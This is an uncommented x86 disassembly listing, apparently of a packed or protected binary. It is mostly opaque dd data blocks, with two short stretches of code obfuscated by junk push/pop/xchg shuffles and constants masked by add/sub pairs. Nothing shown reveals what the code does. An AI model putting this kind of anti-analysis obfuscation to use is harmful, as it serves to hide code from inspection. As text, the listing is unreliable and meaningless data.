dd 47E3B95Bh, 770EF0CEh, 0B0D8A732h, 981E4ED5h, 92E213C7h
dd 0E543B938h, 9DCFF080h, 50C9611Bh, 0AC770E7Ch, 472E4339h
dd 0B95B26A6h, 6977630h, 716E1037h, 0B702B8B9h, 5034B0D5h
dd 0EC8A2FCDh, 0F4707519h, 0CAAD394h, 0F8019372h, 417FF590h
dd 0E8D38E9h, 6761F477h, 9AF2F39Ah, 0F596237h, 0E7577BB7h
dd 8BFA2E06h, 8DE079D1h, 715C770Eh, 14711BA0h, 0BC5E3389h
dd 8DCB44E4h, 0AA31770Eh, 562489DFh, 0CF5B15ADh, 770E8D56h
dd 236942D4h, 247FA6FCh, 8B533BB1h, 770E9496h, 0D7B136DEh
dd 4D1FA44Ah, 9A2468C4h, 0B7CF1311h, 0C3A2DCE5h, 5B2F852Eh
dd 406508DDh, 58E75D08h, 1CF1892Fh, 0C3FD7B7Ch, 0E93E667h
dd 0A6775A77h, 3EF8B61Dh, 0E9371EAh, 9C18CF77h, 0BF9161CCh
dd 0E93F26Bh, 0C9B4E77h, 8025F558h, 6D9265C8h, 0E83C707Bh
dd 0AF3DC256h, 717A1CF1h, 0FD0296FBh, 33B1DCEBh, 8ABDD377h
dd 3F7B7511h, 0B9C72EBh, 8C1BCE71h, 0A575D8h, 0CD0DCE48h
dd 7C153539h, 0C0710B0Eh, 7CA4415h, 632C9B11h, 781D2D45h
dd 0F4710AF8h, 0F59A6761h, 63319CCCh, 0CDA30E5Eh, 9C21A424h
dd 533A7CA0h, 0C0AF3A52h, 6605496Bh, 102178B5h, 0BD69F38h
dd 294E1D71h, 473D2B8Ah, 3BA94E22h, 0AB3DC256h, 7E1733EDh
dd 0C2710B0Ch, 0DF94217h, 252282EAh, 1795E04Fh, 0D1A1CF5Bh
dd 821F6F0Eh, 0A28D6224h, 5A5F3D3Fh, 7DC85732h, 0F1F69A6Fh
dd 0A247D4B9h, 3DDFA2C6h, 8766D0B4h, 5F6034F5h, 0F0FF74F0h
dd 0FB94B485h, 41770EF0h, 0D7730F9Ah, 751208C5h, 11FCEC7Bh
dd 6A697F84h, 466088F0h, 5329D2A7h, 0F076133Bh, 8EB2770Eh
dd 52465E5Ah, 0A35D996Dh, 0C08831C2h, 0E50A8385h, 3911770Eh
dd 770EE4A0h, 8356491Ch, 453725h, 2A400000h, 59186A49h
dd 8B25E099h, 0B84AC3Ch, 3D770EDAh, 9C33555Ah, 67A2CD41h
dd 0EC83C673h, 34545D33h, 1B82CA51h, 0E441F125h, 31C284C8h
dd 0D734C488h, 11770E27h, 0DF638659h, 0BA9C7FC0h, 0FF8ADB3Eh
dd 15AFFFFh, 0F06AE347h, 99B1770Eh, 770EF100h, 23B6E97Ch
dd 504D2045h, 0D5AE35BEh, 88F0AC2Fh, 96F6FB98h, 18F64F3h
dd 8E6A8F6Ch, 8074F9FAh, 7F986D56h, 36h, 9888F0F8h, 0CE9BCDF6h
dd 29018263h, 770EF0B0h, 1E4590Ch, 0A0492A82h, 172F1C3h
dd 24BD8D47h, 98770EF0h, 0F042DBCDh, 2BBE770Eh, 55D3D4A4h
dd 3C40h, 88F0F300h, 29018360h, 770EF0B0h, 1BB38ADh, 616B8C6Ch
dd 65FE4A64h, 0DB770EF0h, 3CF6B00Ch, 37D8C5A9h, 20A527B2h
dd 0A527CCADh, 2ACF4420h, 0CFB85849h, 83C68627h, 0F1D4A934h
dd 0BF442A72h, 0F08C052Dh, 0DBBC770Eh, 0F0AC2505h, 4510770Eh
dd 7103EEFEh, 0B3D5DEB0h, 5A014BD6h, 2784365Ah, 0EF81D90Dh
dd 8F7686CAh, 45770EECh, 0FFF39E76h, 492A8DFFh, 0F8019273h
dd 0EF037D0h, 4BD68577h, 791F6A05h, 0EA841398h, 11FB305Eh
dd 513BAE75h, 0BD30C89h, 0F0241871h, 6A2FDCE0h, 119B93h
dd 5A240000h, 0Bh, 0FEAB491Ch, 0ECF99318h, 0F028AB01h
dd 0FF4B6785h, 75120E09h, 55385007h, 9DAD23C8h, 710BCDC7h
dd 0DCBE6B09h, 25A7482Fh, 0D6B3D5A0h, 0CE17B098h, 0F665710Bh
dd 290656Bh, 0B3C6EFF9h, 750D51D3h, 816402A7h, 0C481CBF0h
dd 0DEB10468h, 3EAC7D9h, 7286A2E2h, 7C81142Eh, 70744C41h
dd 6F99ED56h, 0FAh, 1BC0934Dh, 36019CB5h, 1FE760A8h, 1632768Eh
dd 768E1F7Dh, 0AE3D14C3h, 87F051D2h, 29018C61h, 770EF0ABh
dd 0CEECF7A8h, 0C38B0424h, 6AF1770Eh, 0CB1BA055h, 9191427Ch
dd 0F928F0E6h, 3C5FF850h, 0EDD770Eh, 14EC5A3h, 47AC8B6Ch
dd 0B00A2041h, 2FB2DAA1h, 0A722AA4Bh, 0AD225CD8h, 2AFC547Bh
dd 2FC1A243h, 9888F0ACh, 8A6BF6FBh, 8074A82Bh, 7F986D56h
dd 31h, 8D5E01F8h, 1B86EE41h, 9CE45329h, 2901A71Ch, 770EF0B0h
dd 1E4590Ch, 8B21D85Eh, 4FBCDDE6h, 4806E25Bh, 0A0492A4Bh
dd 5A72F1C3h, 4Ch, 0E34701D9h, 770EF06Ah, 1AA503D6h, 0C85A572h
dd 70770EF1h, 0EC15E6E5h, 2901AC01h, 770EF0B0h, 1BB38ADh
dd 0A0492A82h, 63FC4C06h, 0BE770EF0h, 0EF0F16Ah, 0B9984F77h
dd 1BB494D2h, 61770EF1h, 1857EFAh, 63658E6Ch, 473C8A66h
dd 0FFFEFD5Ah, 432AD9FFh, 906104A2h, 8864616Bh, 757A1DE0h
dd 8F2D5817h, 8157F3h, 0A83F7512h, 0E07B1820h, 8B89710Bh
dd 3E4B5147h, 2704936Ah, 0B7000000h, 4B6785F0h, 11FF4DFFh
dd 5A14C375h, 88C0E98Bh, 0FF0767DDh, 710BDF62h, 4A2E72AEh
dd 936A4132h, 0E92Dh, 432A4E00h, 5933B85Ah, 0F0D24BDFh
dd 0BB2E770Eh, 0D7DCB92Ch, 0D4742E48h, 770EF03Bh, 0E5EDA81h
dd 219BD788h, 0DFEBAEAh, 0B43DD2B7h, 1A649D4h, 0F3F48469h
dd 0E5881575h, 1B7C8CC0h, 76770E49h, 0EEFEFF97h, 85687DFBh
dd 48FE97B3h, 9742770Eh, 0BDA4408h, 86EB416Ah, 0E99ECEEFh
dd 0C266009Eh, 751165B4h, 96D1B722h, 0E2B5CDEBh, 77DF3F52h
dd 66209C70h, 975CDC2h, 0E29C4B6Fh, 0B28F6E03h, 894F336Eh
dd 0FE4301ECh, 25D19019h, 0B6E6D634h, 24F3BD6h, 9E80000h
dd 801DE0E4h, 0EE80157Bh, 5A3287C5h, 0CDA23755h, 13C2A024h
dd 5B09B247h, 0CF9D22F6h, 7D13987Ah, 0ECE005E8h, 0DC75D5D5h
dd 207105C3h, 452AD390h
dd 0E04802BCh, 770EF067h, 247106D5h, 0D6C64D90h, 6AFF9369h
dd 8A446283h, 0E4725BEh, 70CC9B77h, 85F0671Ch, 4DFF4B67h
dd 0C37511FFh, 8C27414h, 0BDFA720h, 0EA461571h, 0BDF45C2h
dd 95DC371h, 6A41152Fh, 0C6D293h, 2A6D0000h, 6104A243h
dd 0FE8E6A8Fh, 13757E13h, 0C65FEBA5h, 3A770EF0h, 98F9D1AFh
dd 0D8770EF4h, 17F6B035h, 7A6F7982h, 683D3925h, 0A602DBB7h
dd 17987FC2h, 4C22C375h, 137EC9A7h, 3F4DDD95h, 0BD75116Ah
dd 820DBA2Eh, 0DABB4A64h, 56D2B7D1h, 4FA3018h, 0ED786F09h
dd 5A5F30D5h, 0DDCEA336h, 972EB53Ah, 0E6D66CF5h, 667F927Ah
dd 81000001h, 0A9FCDF2h, 0B90C4069h, 2BBED2D7h, 5B2EA243h
dd 0D55F0DB6h, 169B7C2Ah, 0EA0BEF72h, 788113E6h, 0C9EE8114h
dd 6CBCFA9Bh, 7105C2F3h, 2AC4A749h, 6E28BC45h, 0F0FB94B4h
dd 9A41770Eh, 0FE0FF3C5h, 0CAA6D10Fh, 5BFCD0A7h, 1DDE7F4h
dd 0E962AAF9h, 57770E3Eh, 2C573580h, 4A2432Ah, 0F065FE4Ah
dd 0CDB770Eh, 0B533B859h, 0A548D5h, 5A58234Ch, 0EB920C1Ch
dd 0FE8F7511h, 1BFC9318h, 1593F696h, 7C11A93Ch, 0B95A1499h
dd 8B403B21h, 264A268Ch, 513BBC53h, 8A9E6B16h, 710B8211h
dd 556DF86Fh, 82168F9Bh, 0FF6A710Bh, 0D2E34701h, 4E6F0495h
dd 3D0ED89Bh, 3BD3E6DAh, 0A826h, 0FB04300h, 8227F459h
dd 6C957BCEh, 0FC019578h, 4F7405E8h, 3E6CAB19h, 0A93C5059h
dd 0DDA024C9h, 43D6BA3Fh, 3C450BACh, 0C135AE7Ah, 0F98B7105h
dd 6785F07Ah, 18FC914Bh, 1490F597h, 8042B34h, 0B8A57675h
dd 2D67E951h, 1ECDE440h, 0EB0CE34Eh, 0B27D10E5h, 268125E0h
dd 473041E9h, 0FC8958E4h, 0FB0345D0h, 77289329h, 0D56DB18Fh
dd 4B05BD42h, 0E49B66FFh, 0F88EA46Eh, 0BEEE35E7h, 1074F067h
dd 83C5EA8Dh, 3751563Eh, 6A2C704Ch, 9B6E6283h, 4499F3F4h
dd 11h, 23C4AB3Ah, 5E01CE45h, 0DAD31CF6h, 0CF8B6167h, 0A6472AD4h
dd 33B45B26h, 9D26F459h, 6D9266CBh, 0F801967Bh, 476C0D90h
dd 0D3D4B805h, 0B942D4B9h, 8B1422Fh, 0F5680B40h, 89000071h
dd 0C768241Ch, 89000065h, 8950240Ch, 405E0h, 0E8830000h
dd 24048704h, 243C895Ch, 16BBB850h, 0C1890609h, 8324048Bh
dd 0F86804C4h, 89000053h, 4832424h, 835F0424h, 148904ECh
dd 89CA8924h, 0FF5A0857h, 815F2434h, 4C4h, 240C8B00h, 5E08950h
dd 4, 8704C083h, 0E95C2404h, 0FFFA4CC5h, 3D65FCC0h, 995766CCh
dd 0B83CA71Ah, 6093036h, 0C650C503h, 32F3985h, 25684706h
dd 0FFCF3817h, 31359B5h, 0A7858D06h, 0FF060338h, 8DD88BD0h
dd 30D0585h, 4685006h, 0FF000001h, 3985C6D3h, 5306032Fh
dd 7F8BF68h, 59B5FF83h, 8D060313h, 338A785h, 89D0FF06h
dd 9149C85h, 0DDBD8306h, 6032Ch, 0B840Fh, 9D8B0000h, 6030C0Dh
dd 5E9h, 0BB00h, 680000h, 8D000001h, 914A0B5h, 0FF535606h
dd 3037D95h, 0A0B58D06h, 3060914h, 1E9F0h, 804E0000h, 840F5C3Eh
dd 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 14A0858Dh, 0FF500609h
dd 9149C95h, 0E0FF5806h, 703D80CAh, 0B428ADDh, 24F93989h
dd 4DF2E1Ah, 2476F0B7h, 7BE108F6h, 5D059BC0h, 651FEB92h
dd 1A0AC56Ah, 744CD4E3h, 2D25AEACh, 35D32499h, 4D23F591h
dd 8E05519h, 32768D8Dh, 6A0609h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 491B97C3h, 8D89F927h
dd 60331D1h, 19499D23h, 9D290603h, 6033155h, 1E185C7h
dd 5A4C0603h, 0B5890000h, 6032311h, 21BD85C7h, 603h, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 47C17DC3h, 0F221DC70h, 59BD897Ch, 0E906030Bh, 7, 0BE7C24E4h
dd 0FF836385h, 31A31B5h, 158B0F06h, 0E8000000h, 9, 71AE3ADAh
dd 2114CEB3h, 3DB529BAh, 5E060321h, 269195FFh, 6A0603h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0CF0F39C3h, 4F152F0Bh, 61858983h, 6A06032Eh, 0B995FF00h
dd 8B06031Fh, 0B038EBC0h, 0D8F1237Ah, 0F504B02Eh, 15F1363Ch
dd 9673E031h, 36762331h, 0A9EA337Bh, 0C5E17C1Dh, 0EBF3F5A5h
dd 8204670Ah, 7462880Ch, 0A82DFF03h, 654B8E88h, 0A1689D92h
dd 0E8EC6290h, 7, 0CCEAAC3Eh, 0FCEA425h, 689h, 1D950900h
dd 58060323h, 12E8h, 0EA46500h, 907C7639h, 4A4A6CB7h, 52302E58h
dd 66342DD3h, 5F29AEBEh, 73B8C081h, 0E8600000h, 0Bh, 9C0CB6A0h
dd 1875FB9Ah, 8B3D7B28h, 321F1B5h, 6E95A06h, 0BA000000h
dd 11A2E771h, 0ABB961C2h, 0F900001Ch, 0FE930FFh, 0F000000h
dd 0FC695236h, 0E93CD67Ch, 64844FC0h, 0E95BDD74h, 0Ch
dd 927A4964h, 0CC05380Ch, 0F2183FCEh, 0AFE8EB81h, 8B6668BCh
dd 17F381D6h, 667400E6h, 810E31BEh, 3E2D33C3h, 0DDBD8B6Fh
dd 89060312h, 958D0118h, 81060332h, 7B2084E8h, 0E9B58B2Bh
dd 81060331h, 7B2080C0h, 13E82Bh, 69BD0000h, 605027B5h
dd 27E5A789h, 489E9DC0h, 6CBA4ABCh, 8D8509BFh, 5A06032Dh
dd 19850F49h, 0E9000000h, 5, 0D3738BA4h, 1AE99Ch, 58360000h
dd 750DCE4Ah, 4DCE5FAh, 2B9BD33h, 55E90603h, 31FFFFFFh
dd 0CFEFFFB5h, 0DE8h, 73620100h, 0EE4AF898h, 0A239D258h
dd 8960B663h, 32265BDh, 0E9BD8B06h, 6106030Ah, 0C081F958h
dd 5B42h, 16AF68h, 0B5858900h, 5E06032Ah, 85C98166h, 5B30FF0Ch
dd 0F38190B2h, 5D8BB2C5h, 31E18D89h, 0EB810603h, 6DC5830h
dd 0EA23C381h, 0BD0B2F34h, 6030599h, 0A8C58053h, 2952008Fh
dd 31E959Dh, 0E8835F06h, 9E903h, 52DB0000h, 9634E09Ch
dd 48C918BCh, 31ED8D8Bh, 0F4E0603h, 0FFFFB085h, 418589FFh
dd 0EB06031Dh, 0B61B9026h, 8EAFEC33h, 64746E55h, 642E6C6Ch
dd 88006C6Ch, 34074621h, 0EFA3D25Dh, 565673h, 0
dd 0E9000000h, 6A0h, 9360768h, 48D7E906h, 0DF68FFFAh, 0E9060936h
dd 0FFFA48CDh, 9377168h, 48C3E906h, 4D68FFFAh, 0E9060938h
dd 0FFFA48B9h, 9391F68h, 48AFE906h, 0E168FFFAh, 0E9060939h
dd 0FFFA48A5h, 0E2E607EAh, 17757E1Fh, 81C7EC82h, 3157583Ch
dd 0A226CBACh, 0B04115C0h, 20F0450Bh, 9664C99Fh, 3EA7F6Dh
dd 0D3D7EEE2h, 5BCDE77h, 0D1922271h, 2B5Ah, 432AD900h
dd 0B0472AA2h, 3CDF590Fh, 0A7226A41h, 0A8F0CC10h, 853522F1h
dd 2FA8803Eh, 8D770EEAh, 0CD4A62DEh, 67770EEAh, 7B786C95h
dd 94F25E01h, 0D2E70CEDh, 4D1267CBh, 6635F06h, 60CFA5E1h
dd 21DB9715h, 0CDF28667h, 0ED642DBh, 4D2BBE77h, 11E8537Dh
dd 4A02C975h, 0BE325A2h, 0BA3BDF71h, 1AA4FD2h, 3E62DE47h
dd 1B4FF59Ch, 8151B768h, 88552130h, 3FD072Ch, 4BFA936Ah
dd 5000002h, 0E0AB1FEEh, 0CE84A4C2h, 2B751209h, 0B533B85Ah
dd 9AB2C99Ch, 0AD22638Ch, 0CDA0711Ch, 80C5872Ch, 0E1690F88h
dd 13FE6DB4h, 79C9F357h, 0BD50B2E4h, 0E2B6D5DAh, 62DE8BDDh
dd 0B3F49443h, 0B93ED2C8h, 932FBA2Fh, 920B1FD9h, 89B2E051h
dd 0E05128A1h, 0CEC194B2h, 5C8D9D1Bh, 0B7B0DE3Fh, 3CB841D6h
dd 553876E5h, 0D2853DC2h, 0A24A1B6Bh, 0F8A67C1Dh, 0DD972D6h
dd 0B027B4E6h, 7D3B4F25h, 0A243C1DAh, 0DEB4640h, 51109578h
dd 24F899DAh, 75924F1Fh, 2D000004h, 563BA94Eh, 0C5A83CC5h
dd 77DA8E33h, 0E74A1E9Fh, 9FBE912h, 0F2F798CEh, 46670B9Eh
dd 0D4DDBF02h, 0A54A2DB0h, 30189E27h, 7105BA97h, 19053E5h
dd 0F06AE347h, 0F99A770Eh, 0D2CD98F0h, 31C4A907h, 0B95ADC8Ch
dd 0BFB164D0h, 139C18CEh, 1C2C4A68h, 7511C7A2h, 66876EFFh
dd 0C767E048h, 6D5710Bh, 88DC8BAAh, 0EF9A10E1h, 0BB91B9F1h
dd 796F0EE0h, 57CF5658h, 0DBFC7057h, 1AF55D8Ch, 98D6BDDBh
dd 0BAD14ADEh, 0B82F770Eh, 416820E7h, 64C0BBA7h, 30EB1F29h
dd 88F30E74h, 0D2FC4C6Ah, 48DC7423h, 836E9365h, 1FD3BEC9h
dd 2D3F2DDEh, 7F3B86BDh, 0A84D20C5h, 5FABFCCCh, 0FA61D66Eh
dd 6B4629BCh, 3473C932h, 44089778h, 0E6991EF1h, 7E48276Dh
dd 9D01DCACh, 0F5000003h, 7EC38126h, 0ED70149Dh, 1FE2E60Bh
dd 8F127677h, 2183C1EAh, 2ACFA0F6h, 0BE3FD3A6h, 0CB5472Ah
dd 9D22F558h, 58F0B6CFh, 7105BABFh, 2AE88B3Dh, 9D2AA243h
dd 6EBAF4F2h, 7511F310h, 2FD0A449h, 0BA3FD0BDh, 4C28B7D2h
dd 0C5E2E675h, 0A6823CBAh, 6F051E48h, 8D4763F6h, 149015F8h
dd 4B199E71h, 9E3713CDh, 0E27704BEh, 1CCF7DBDh, 9E65FD46h
dd 7A84F22h, 6032D345h, 2752DD5Bh, 0DB59F189h, 597507B2h
dd 5A00F3B2h, 3DCDE0D9h, 30B20h, 37B85B00h, 8A2FCC51h
dd 149D73C6h, 0E409ED70h, 777C1DE0h, 36649311h, 0A1345861h
dd 0D5B82CD1h, 5B2EA247h, 45D33B4h, 0B92DA682h, 0E1937105h
dd 0A2432A02h, 0FC996C2Ah, 74F095F7h, 8422C0CBh, 12088AA4h
dd 27A53075h, 1B422h, 4CEE5100h, 0DDE2B657h, 0A43D0D8Bh
dd 18770EF0h, 0BD0AE64Dh, 0A64B2CD2h, 9AD4A326h, 32DB3FE0h
dd 0B2C7E888h, 72CE366Fh, 1144845Ah, 18570275h, 0F77D330h
dd 644C379Ch, 0C627DBCEh, 43FFA79Ah, 40495364h, 6963886Ah
dd 6C0A917Ch, 0D24DF6DCh, 0E7E17481h, 35BE5C31h, 0CC45E553h
dd 3081D25Dh, 0D562DEA5h, 0B8720CAAh, 5DB12AFEh, 580F81D2h
dd 4A9BCCDCh, 4A117FD0h, 36BB592Ch, 8669FCBAh, 0F79E6361h
dd 0C4DABFF6h, 0CF9F15EAh, 22F12h, 13946700h, 0E60BE87Dh
dd 70791FE2h, 0C0E5891Ch, 5358398Ch, 0D288B73Dh, 4DD0B43Dh
dd 0F14408ADh, 67CA9E23h, 58796F90h, 0B851CA5Eh, 1DAF7105h
dd 0A2432A5Eh, 0BA8E6104h, 0EF0F56Eh, 319C4B77h, 0D6B63257h
dd 0AEC8E691h, 1200209Ah, 0E2B31E75h, 0DCE58AD9h, 1E72D98Ch
dd 7D08AA4Fh, 31E7437Fh, 0EF6F0EF8h, 84CBEC80h, 0CE9BCDF6h
dd 0D0A64763h, 0C893962Bh, 0F012D9F0h, 0EC813974h, 494210Ch
dd 3319981Dh, 8E0C8A4h, 51FCEF68h, 320AA38Eh, 5035575Ch
dd 7D68FC0Fh, 0D3C0EDA1h, 35B31E95h, 0C9E1FF8Ah, 30849B61h
dd 9AF299E6h, 6A04A2EDh, 2A308DDEh, 1A5403ECh, 4D03A44Bh
dd 0E74315F8h, 0E82A126Eh, 0F9B807D2h, 6834FA6Ah, 5DC21FEFh
dd 35000001h, 0BE034166h, 2DB0D4DDh, 5F22A64Bh, 0CF5236B7h
dd 61C3812Ah, 0EA0FE0B6h, 7E7F13E6h, 0CCF5876Ah, 5D623598h
dd 1830760Fh, 7105B77Fh, 2AA84BFDh, 4A04A243h, 0EF065FEh
dd 40BCA577h, 0EF7AC4EDh, 234B21B4h, 0BFFBF984h, 10FE0D6Bh
dd 28BC2B75h, 6785F0ABh, 73D7914Bh, 770EF0DAh, 1535B326h
dd 75082491h, 8B2CC0AFh, 0CE3823Ch, 7D10E5EBh, 919D3E78h
dd 4A78F0F2h, 3ADDD799h, 0BB06E6A7h, 6F1AAD3Dh, 9B113971h
dd 996EFECFh, 6BFAB4F2h, 0B0666687h, 0E8FFF98h, 3EE7D77h
dd 882DC0A5h, 199E71C4h, 0AF4D384Fh, 8D093713h, 7D107511h
dd 859C189Dh, 46CE9FD6h, 0FB93E0D3h, 9B66h, 8728CB00h
dd 1A9F7CC1h, 0E40DE376h, 74791DE0h, 0C7EC8D10h, 0A6F42381h
dd 0D1A428D1h, 4528BC41h, 0CB5E32B7h, 0B4CD8324h, 0B7BD56F2h
dd 71037105h, 886C01F2h, 533E8967h, 0A10D1D55h, 9F750824h
dd 5A3D80C8h, 0A8481D55h, 4D004507h, 54008ADh, 9F76DBAFh
dd 6BA64E1Eh, 0BD412C74h, 741B5387h, 0E5881D73h, 3A525738h
dd 0E88C0AFh, 9A16977Fh, 0CE9E1FF7h, 237BAF85h, 5025AB4Ch
dd 52A3F2BDh, 51B850C0h, 0DFE05F47h, 0C1AC5307h, 8C31C4A9h
dd 5B3389DCh, 386h, 80033D00h, 26A6472Ah, 5933B45Bh, 0CB9D26F4h
dd 7B6D9266h, 90F80196h, 5476C0Dh, 0B9D3D4B8h, 2FB942D4h
dd 4008B142h
db 0Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
sub ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], edx
push 1BB4h
mov [esp], ecx
push eax
mov eax, 60934C0h
push eax
add dword ptr [esp], 5EF139A8h
pop edx
sub edx, 5EF139A8h
pop eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push edx
push edx
mov edx, 75E008E2h
sub [esp+4], edx
pop edx
pop dword ptr [ecx+8]
add dword ptr [ecx+8], 75E008E2h
push dword ptr [esp]
pop ecx
add esp, 4
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5439D9
; ---------------------------------------------------------------------------
db 0ECh, 0DDh, 0Bh
dd 93AA1B8h, 0FFC50306h, 1D2D5BE0h, 7C741E5Dh, 0B63BE815h
dd 2A0AFB27h, 0BCE9A31Fh, 50347615h, 446DB60Eh, 0A8118A02h
dd 1304934Ah, 71BFAD2Fh, 3206265Ch, 9C24CF15h, 0B37E3857h
dd 2F0FEE7Bh, 21DD9E5Eh, 0D3085B03h, 8A254F0Dh, 0E4AF6936h
dd 1803D718h, 0BF2E7022h, 0B545CC0Fh, 26564B31h, 2069533Ch
dd 0D235673Ah, 3A393763h, 7D126C1Bh, 8337CA7Ch, 0FA4F186Bh
dd 7616977Eh, 56EE7023h, 0E4850C01h, 314B965Bh, 0DE81Dh
dd 0EAA50000h, 0E55E098Bh, 0EA86C438h, 0FEC0A6Eh, 8159FFBFh
dd 7362C1h, 0D667BE00h, 0B7BB27CEh, 6600001Ch, 0FFD973BFh
dd 8E931h, 868F0000h, 0E1AB8733h, 565A365Ah, 0F2815EF5h
dd 746C8464h, 5099FBFh, 3FEA813Ah, 605FA5DAh, 2785DB81h
dd 81666CBFh, 61AA39DFh, 0C85EF281h, 6660515Ch, 0EB09C881h
dd 0F88B6660h, 11896161h, 0FC88B60h, 38Dh, 0C0BF0F00h
dd 4E98361h, 0EB839CB4h, 0A0850F01h, 0B8FFFFFFh, 606FB3AEh
dd 8EBh, 0F15A0000h, 0E1E97C8Ch, 68000004h, 6093D5Ah, 0FA4110E9h
dd 3DFF68FFh, 6E90609h, 68FFFA41h, 6093F4Ch, 0FA40FCE9h
dd 0FB043FFh, 8227F459h, 6C957BCEh, 0FC019578h, 4F7405E8h
dd 3E6CAB19h, 0A93C5059h, 0DDA024C9h, 43D6BA3Fh, 3C450BACh
dd 0B435AE7Ah, 0F98B7105h, 835E017Ah, 0F1B8E007h, 3AD37733h
dd 86770E07h, 5F3055D3h, 0E47B1C5Ah, 60C30DBAh, 0DEB2DD2Eh
dd 0B61D07EAh, 28CF523Ah, 0C3548354h, 0D2C4B9DDh, 0EB961FAh
dd 0BD08DF77h, 0F7F5802Fh, 0D1C16FBBh, 0E87F7511h, 0D1BB58E0h
dd 0CB49710Bh, 338B9187h, 1A44936Ah, 32000003h, 4C3EDC61h
dd 0B0E63FCh, 6D32D971h, 7DFBC8F0h, 611AEE86h, 6FC5EE8Ch
dd 7B37B5C0h, 1208F9AFh, 57F3B775h, 710BC1BEh, 0ADC85702h
dd 68A4059Bh, 0CCEA95A4h, 427F8B2h, 4176654Fh, 55AB8379h
dd 0D379AB43h, 0F7911AFCh, 22450792h, 9215957h, 77AC6FF1h
dd 0FDE984Fh, 0BC014768h, 579DD4D9h, 241DB68Dh, 3368944h
dd 0A1700000h, 18E5481Ch, 8668FD93h, 0F29A6F7Dh, 650A9FCDh
dd 7BBA085Ch, 23A14A2Fh, 5735BA5Eh, 0C58B30C2h, 74189D70h
dd 44DD6D2Dh, 0B87105B3h, 85F06B08h, 30FF4B67h, 8775081Ch
dd 3C1C4CD4h, 5D973ECh, 7D02C971h, 54D0CAFFh, 3DD0EE7Dh
dd 2BA4845Ch, 917105BAh, 84697FCAh, 5C6536F3h, 2BFFB9F1h
dd 7105BAB2h, 402A910Eh, 5B261087h, 0F01870CCh, 0A5CD40E0h
dd 32AB7F39h, 0C27D180Ah, 0DF8A852Ah, 8E690C61h, 99601803h
dd 0F67B1AA8h, 0EBEE4D12h, 0F89015F9h, 0F8BB06EDh, 1F267E4Ah
dd 911AF797h, 0D5000002h, 5E23A146h, 0CD5034BDh, 7FC2862Bh
dd 0EF721697h, 1E3E10Ah, 0CAEF80D6h, 5E5F3386h, 2CD5A70Ah
dd 0BD42D5B8h, 3810962Fh, 7105B39Fh, 0F0886B1Dh, 0FF4B6785h
dd 75081C30h, 0A51375E0h, 338932C0h, 5B47E1Bh, 19EC8A71h
dd 0C5F9777Ch, 1038F291h, 7105B477h, 0A99A16C5h, 93641293h
dd 159A7D10h, 1A3BD9Fh, 2A3E0000h, 472AA243h, 2E590FB0h
dd 1D2D4563h, 75120047h, 0C07616C5h, 0CDAB502Dh, 0BE060FDh
dd 7B0AAC71h, 697C6C95h, 7D7BAF93h, 936A3E67h, 5C60h, 6C019300h
dd 0F9FE928Fh, 7D6FFAEFh, 58238C68h, 7A0C1C5Ah, 977511FFh
dd 5C5722F6h, 61B82DD3h, 0A124A433h, 437FEACBh, 0A527CCA2h
dd 72244420h, 0EFF90293h, 0B12E7EFAh, 7F710BD6h, 0B02901BBh
dd 0C710BD6h, 432ED3A1h, 0DE8DD1E5h, 646670Fh, 0C6DEE543h
dd 81936A37h, 0ACh, 0A2432A32h, 9B2472Ah, 491BF25Fh, 0EF068E1h
dd 0BA01D477h, 0CEA342FCh, 0F06AE325h, 3D6770Eh, 9578C5A5h
dd 0DDAC7C10h, 1F770EF4h, 0C5EE8F78h, 325D6A7Eh, 3F2EFAB4h
dd 0F1750C88h, 0D8B94C6Ah, 24F697D3h, 1C98CD9Fh, 0EF14E548h
dd 0D5B56CD4h, 449971E0h, 144h, 7E129366h, 0E3E10AEBh
dd 1D73781Eh, 8DC3E488h, 3E525738h, 3CDD89B4h, 0AC4CD1B7h
dd 22F0450Bh, 8F66CB99h, 5F5B7A6Eh, 5B152CBh, 5D1EAE71h
dd 28BC452Ah, 8DC9AD6Eh, 9BCDF29Ah, 0A80FA9CEh, 0C6A93CB8h
dd 0C96137D9h, 770E4D50h, 3A5239ACh, 0D78CC0AFh, 12885E01h
dd 98BC2FE9h, 0CE9E23F5h, 0A5481D9Bh, 0FD9015F8h, 410B961Bh
dd 0DA9419FCh, 49C26620h, 0B7770E61h, 616FE820h, 0F381770Eh
dd 0A400D7CEh, 0DEDCA7C0h, 1CF788A0h, 0E6757511h, 0AF5425C8h
dd 6EE7F39h, 0A6230BE1h, 5E710B2Eh, 0CF5236B7h, 0AC7812Ah
dd 98h, 0A2C6AB6Ch, 30C371AFh, 98472526h, 0F874C35Fh, 6785F07Bh
dd 1CA4FF4Bh, 0C99C7508h, 0BB3CDCB1h, 2DC0AD3Dh, 8B5AC488h
dd 2EBEC3E4h, 54AC4B8Ch, 690C61DFh, 4CDBDCBCh, 0F028F41Ch
dd 36DA2A82h, 0A34AD7B1h, 34084A02h, 191756E0h, 0D5DABDF5h
dd 0CE47E39Dh, 32FA82F0h, 5434BD5Fh, 0BACEAA31h, 2DBF40D7h
dd 70D8AC40h, 0FA82F0D7h, 0A12BB625h, 0D1BB3CDCh, 4701AA4Ch
dd 55E52915h, 0F688DCD0h, 67CA9E1Fh, 0BB7D6F90h, 99F40818h
dd 239906EEh, 33Eh, 80034500h, 26A6472Ah, 5933B45Bh, 0CB9D26F4h
dd 7B6D9266h, 90F80196h, 5476C0Dh, 0B9D3D4B8h, 2FB942D4h
dd 4008B142h, 4EC810Bh, 54000000h, 8324048Fh, 68042404h
dd 514h
db 89h, 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push edi
mov edi, 2DA3772Bh
add edi, 1
add edi, 0D865C53Dh
mov esi, edi
pop edi
push 6620h
mov [esp], esp
add dword ptr [esp], 4
pop edi
sub esp, 4
mov [esp], esi
pop dword ptr [edi+8]
